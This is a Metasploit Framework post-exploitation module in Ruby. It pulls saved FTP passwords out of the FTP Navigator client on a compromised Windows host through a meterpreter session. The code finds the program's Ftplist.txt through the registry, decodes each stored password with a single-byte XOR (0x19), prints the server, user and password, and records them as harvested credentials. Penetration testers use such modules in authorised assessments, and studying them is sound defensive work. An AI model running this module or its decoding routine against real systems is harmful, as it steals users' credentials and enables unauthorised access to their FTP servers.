metasploit-framework/modules/post/windows/gather/credentials/ftpnavigator.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Auxiliary::Report

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Windows Gather FTP Navigator Saved Password Extraction',
			'Description'    => %q{
				This module extracts saved passwords from the FTP Navigator FTP client.
				It will decode the saved passwords and store them in the database.
			},
			'License'        => MSF_LICENSE,
			'Author'         => ['TheLightCosine <thelightcosine[at]gmail.com>'],
			'Version'        => "$Revision$",
			'Platform'       => [ 'windows' ],
			'SessionTypes'   => [ 'meterpreter' ]
		))
	end

	def run
		key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Navigator_is1\\"
		val_name = "InstallLocation"
		installdir = registry_getvaldata(key, val_name) || "c:\\FTP Navigator\\"

		path = "#{installdir}Ftplist.txt"

		begin
			ftplist = client.fs.file.new(path,'r')
		rescue Rex::Post::Meterpreter::RequestError => e
			print_error("Unable to open Ftplist.txt: #{e}")
			print_error("FTP Navigator May not Ne Installed")
			return
		end

		lines = ftplist.read.split("\n")
		lines.each do |line|
			next if line.include? "Anonymous=1"
			next unless line.include? ";Password="

			dpass    = ""
			username = ""
			server   = ""
			port     = ""

			line.split(";").each do |field|
				next if field.include? "SavePassword"

				if field.include? "Password="
					epass = split_values(field)
					dpass = decode_pass(epass)
				elsif field.include? "User="
					username = split_values(field)
				elsif field.include? "Server="
					server = split_values(field)
				elsif field.include? "Port="
					port = split_values(field)
				end
			end

			print_good("Host: #{server} Port: #{port} User: #{username} Pass: #{dpass}")

			report_auth_info(
				:host  => server,
				:port => port,
				:sname => 'ftp',
				:user => username,
				:pass => dpass
			)
		end
	end

	def split_values(field)
		values = field.split("=",2)
		return values[1]
	end

	def decode_pass(encoded)
		decoded = ""
		encoded.unpack("C*").each do |achar|
			decoded << (achar ^ 0x19)
		end
		return decoded
	end
end